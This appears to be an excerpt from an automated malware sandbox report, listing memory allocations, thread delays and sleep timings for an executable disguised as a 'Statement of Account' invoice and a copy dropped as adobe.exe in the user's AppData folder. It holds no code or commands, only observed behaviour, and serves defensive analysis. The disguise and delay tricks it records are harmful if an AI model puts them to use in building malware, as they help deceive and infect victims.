Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Memory allocated: 2C50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Memory allocated: 12D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Memory allocated: 2840000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Memory allocated: 2AC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Memory allocated: 28D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Memory allocated: E00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Memory allocated: 2890000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Memory allocated: 4990000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 599641	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 599531	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 599419	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 599312	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 599203	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 599092	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 598985	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 598766	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 598641	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 598516	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 598406	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 598297	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 598188	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 598063	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 597938	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 597828	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 597660	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 597172	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 597000	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 596891	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 596766	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 596656	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 596546	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 596437	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 596327	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 596219	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 596109	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 596000	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 595891	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 595766	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 595641	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 595531	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 595422	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 595310	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 595203	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 595094	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 594875	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 594766	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 594648	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 594531	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 594422	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 594313	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 594203	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 594092	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 593985	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 593860	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 599124	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 598796	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 598468	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 598338	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 598218	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 598109	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 597999	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 597890	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 597778	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 597671	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 597562	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 597452	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 597323	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 597203	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 597093	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 596984	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 596874	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 596765	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 596654	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 596546	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 596437	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 596328	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 596218	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 596109	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 595999	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 595890	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 595781	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 595671	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 595562	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 595388	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 595274	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 595130	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 595000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 594890	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 594781	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 594671	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 594562	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 594453	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 594341	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 599889	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 598905	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 598796	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 598466	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 598250	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 598029	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 597921	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 597735	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 597617	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 597479	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 597076	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 596968	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 596859	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 596749	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 596640	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 596531	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 596421	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 596312	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 596203	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 596093	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 595984	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 595874	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 595765	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 595656	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 595546	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 595437	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 595328	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 595218	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 595109	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 595000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 594890	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 594740	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 594604	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 594315	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 594187	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 594078	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 593968	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 593859	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 593750	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 593640	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 593531	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 593421	Jump to behavior

Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Window / User API: threadDelayed 7534	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Window / User API: threadDelayed 2313	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Window / User API: threadDelayed 3009	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Window / User API: threadDelayed 6807	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Window / User API: threadDelayed 4279	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Window / User API: threadDelayed 5537	Jump to behavior

Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -29514790517935264s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 5828	Thread sleep count: 7534 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 5828	Thread sleep count: 2313 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -599641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -599531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -599419s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -599312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -599203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -599092s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -598985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -598875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -598766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -598641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -598516s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -598406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -598297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -598188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -598063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -597938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -597828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -597660s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -597172s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -597000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -596891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -596766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -596656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -596546s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -596437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -596327s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -596219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -596109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -596000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -595891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -595766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -595641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -595531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -595422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -595310s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -595203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -595094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -594985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -594875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -594766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -594648s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -594531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -594422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -594313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -594203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -594092s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -593985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe TID: 6476	Thread sleep time: -593860s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -34126476536362649s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 5052	Thread sleep count: 3009 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -599890s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 5052	Thread sleep count: 6807 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -599671s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -599453s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -599343s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -599234s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -599124s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -599015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -598906s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -598796s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -598687s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -598578s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -598468s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -598338s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -598218s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -598109s >= -30000s	Jump to behavior
